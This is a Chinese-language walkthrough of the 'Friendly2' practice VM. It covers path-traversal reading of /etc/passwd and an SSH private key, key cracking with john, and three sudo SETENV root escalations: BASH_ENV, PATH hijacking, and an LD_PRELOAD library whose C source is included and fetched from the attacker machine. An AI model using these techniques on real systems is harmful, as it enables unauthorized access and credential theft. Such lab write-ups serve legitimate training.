friendly2靶机渗透

笔记于2025/12/3

本文参考多个文章,链接放在提权部分了

靶机介绍:

该靶机包含文件路径遍历漏洞,以及SETENV提权,ROT13加密

靶机IP:10.120.67.180

攻击机IP:10.120.53.100

存活扫描
复制代码
arp-scan -I eth0 10.120.53.100/17
端口扫描

发现开放SSH服务端口和WEB应用端口

复制代码
nmap -p- 10.120.67.180
WEB应用渗透测试
目录扫描
复制代码
dirb http://10.120.67.180/
信息收集

发现可以测试LFI漏洞和RFI漏洞

RFI漏洞测试

失败了

复制代码
#抓包访问 
http://10.120.67.180/tools/check_if_exist.php?doc=http://www.baidu.com
LFI漏洞测试

成功,得到用户名

复制代码
#访问/etc/passwd 
http://10.120.67.180/tools/check_if_exist.php?doc=../../../../../etc/passwd

因为开放SSH服务,所以我们拿SSH服务的id_rsa密钥

复制代码
#访问 
http://10.120.67.180/tools/check_if_exist.php?doc=../../../../../home/gh0st/.ssh/id_rsa
尝试登录SSH服务

发现登录失败

复制代码
chmod 600 id_rsa 
ssh gh0st@10.120.67.180 -i id_rsa
对id_rsa解密
复制代码
ssh2john id_rsa > hash.txt 
john hash.txt -w=/usr/share/wordlists/rockyou.txt 
john hash.txt --show
登录SSH服务
复制代码
ssh gh0st@10.120.67.180 -i id_rsa 
#输入密码即可连接,若输入密码扔连接失败则需要给id_rsa提供权限"chmod 600 id_rsa"后再次尝试登录
内网渗透
找到user.txt
复制代码
find / -type f -name 'user.txt' 2>/dev/null 
cat /home/gh0st/user.txt
信息收集
复制代码
sudo -l 
cat /opt/security.sh
内网提权方法1
复制代码
echo 'chmod u+s /bin/bash' > /tmp/mal.sh 
chmod +x /tmp/mal.sh 
sudo BASH_ENV=/tmp/mal.sh /opt/security.sh
内网提权方法2

hmv_friendly2

HakcMyVM/Friendly2.md at master · pencek/HakcMyVM · GitHub

复制代码
#这条是用的比较多的,可以看以上两篇博主 
cd /tmp 
echo 'chmod u+s /bin/bash' > grep 
chmod +x grep 
sudo PATH=$PWD:$PATH /opt/security.sh 
#或者下面这条,是我自己试过的也可以提权 
cd /tmp 
echo 'chmod u+s /bin/bash' > tr 
chmod +x tr 
sudo PATH=$PWD:$PATH /opt/security.sh
内网提权方法3

四分多钟的时候会介绍

hackmyvm Friendly2靶场复盘_哔哩哔哩_bilibili

具体知识点在这

Linux 权限升级 - 黑客技巧 --- Linux Privilege Escalation - HackTricks

复制代码
攻击机kali: 
vim pe.c 
#粘贴复制的代码 
gcc -fPIC -shared -o pe.so pe.c -nostartfiles 
python3 -m http.server 7777 
防守机: 
cd /tmp 
wget -o http://10.120.53.100:7777/pe.so 
sudo LD_PRELOAD=/tmp/pe.so /opt/security.sh

编译过了在编译一次可能是这样的

我这边用kali编译失败了,不知道是什么原因,然后我就放弃了

放弃之后重拾了一下知识,加了个就可以编译成功了

复制代码
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>  // 新增:包含setgid/setuid的声明

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

拿下!

获取root.txt
复制代码
cat /root/root.txt 
find / -name '...' 2>/dev/null 
cd /... ls -al 
cat ebbg.txt

这里的root.txt的flag是经过ROT13加密过的,而/opt/security就是解码代码,只不过加了长度限制

修改/opt/security

复制代码
#将长度限制20修改成50或者更长 
nano /opt/security

运行并输入经过ROT13加密后的flag

WEB应用源代码分析

直接接收来自用户的GET请求doc参数,无任何过滤,存在路径遍历漏洞,攻击者可以利用他读取服务器任意敏感文件

复制代码
<?php 
if(isset($_GET['doc'])) { 
$filename = $_GET['doc']; 
readfile("/var/www/html/tools/documents/" . $filename); 
} 
?>

渗透测试收获:

如果sudo -l的内容为

复制代码
(ALL : ALL) SETENV: NOPASSWD: /opt/security.sh

那将有多种提权方法

ROT13加密类似凯撒加密

路径遍历漏洞经验

相关推荐
wdfk_prog31 分钟前
[Linux]学习笔记系列 -- hashtable
linux·笔记·学习
007php0073 小时前
mySQL里有2000w数据,Redis中只存20w的数据,如何保证Redis中的数据都是热点数据
数据库·redis·git·mysql·面试·职场和发展·php
2501_942326443 小时前
寒假高效记忆法助力学习飞跃
学习
计算机程序设计小李同学3 小时前
基于SSM框架的动画制作及分享网站设计
java·前端·后端·学习·ssm
Love Song残响3 小时前
深入解析TCP/IP协议栈:从底层到应用层
网络·tcp/ip·php
深情的小陈同学3 小时前
工作学习笔记 —— 支持手机端的添加表单行操作
笔记·学习·ai编程
ISACA中国4 小时前
2026年网络安全与AI趋势预测
人工智能·安全·web安全
xiangshi_yan4 小时前
内核学习之路【4/100】-io
学习
am心4 小时前
学习笔记-小程序-导入商品浏览功能实现
笔记·学习
布谷歌4 小时前
开发笔记:如何消除秘钥数据对RPC负荷、日志、系统安全的伤害?
网络·笔记·网络协议·rpc